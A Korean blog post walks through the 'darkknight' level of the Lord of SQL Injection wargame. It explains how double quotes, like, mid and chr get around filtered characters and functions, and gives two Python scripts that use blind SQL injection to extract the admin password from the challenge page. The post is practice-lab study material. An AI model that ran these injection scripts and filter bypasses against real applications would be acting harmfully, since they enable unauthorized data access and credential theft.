darkknight 입장!
위 사진은 darkknight 시작화면이다.
아래 php 소스코드에서 해당 문제를 해결하기 위한 조건을 찾아봤다.
query로 얻어온 pw와 입력한 pw가 같아야 문제를 해결할 수 있다.
그런데 query를 잘 보면 id='admin'과 pw가 and로 묶여있는 것을 알 수 있다.
즉 query에서 얻어온 pw는 admin의 pw다.
GET방법으로 전달하는 pw가 admin의 pw와 같아야 하므로 우리는 admin의 pw를 알아내야 한다.
먼저 pw의 길이를 알아내야 한다. 아래 소스코드를 실행하면 pw의 길이를 구할 수 있다.
(no에서 싱글쿼터와 =을 필터링하고 있기 때문에 대체로 더블쿼터와 like를 사용)
import requests
url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php"
cookies = {"PHPSESSID" : "rd9nfr6ui35uh6o5mnqe7p30vg"}
length = 1
while True:
query = '?no="" or id like "admin" and length(pw) like '+str(length)+'%23'
result = requests.get(url+query, cookies=cookies)
if ("Hello admin" in result.text):
print("[*] Password Length :", length)
break
print(length)
length+=1
pw의 길이는 8이다.
이제는 password를 구해야한다. 아래 소스코드를 실행하면 pw를 구할 수 있다.
(no에서 싱글쿼터와 substr, ascii, =를 필터링하고 있기 때문에 이를 우회하기 위해 대체로 더블쿼터, mid, chr, like를 사용)
(pw를 한 글자씩 가져와서 ch와 비교)
import requests
url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php"
cookies = {"PHPSESSID" : "rd9nfr6ui35uh6o5mnqe7p30vg"}
pw = ""
for i in range(1, 9):
for ch in range(48, 123):
if 58 <= ch <= 64: continue
if 91 <= ch <= 96: continue
query='?no="" or id like "admin" and mid(pw,' + str(i) + ',1) like "' + chr(ch) + '"'
result = requests.get(url+query, cookies=cookies)
if("Hello admin" in result.text):
pw += chr(ch)
print("[+] Finding... :", pw)
break
print("[*] Password :", pw)
admin의 pw는 0B70EA1F이다.
이제 이 pw를 GET방식으로 전달하기만 하면 된다.
해당 URL을 전달했을 때 CLEAR문구가 뜨지 않았다.
저번 레벨에서도 똑같은 이유로 문제를 해결할 수 없었다.
대문자를 소문자로 변경해서 다시 시도해봤다.
admin의 pw : 0b70ea1f
위 pw로 다시 시도해봤다.
darkknight 해결!
'Study > Web Hacking' 카테고리의 다른 글
[LOS] bugbear (0) | 2021.07.20 |
---|---|
[natas] Level 21 -> Level 22 (0) | 2021.07.20 |
[natas] Level 20 -> Level 21 (0) | 2021.07.17 |
[LOS] golem (0) | 2021.07.11 |
[natas] Level 19 -> Level 20 (0) | 2021.07.11 |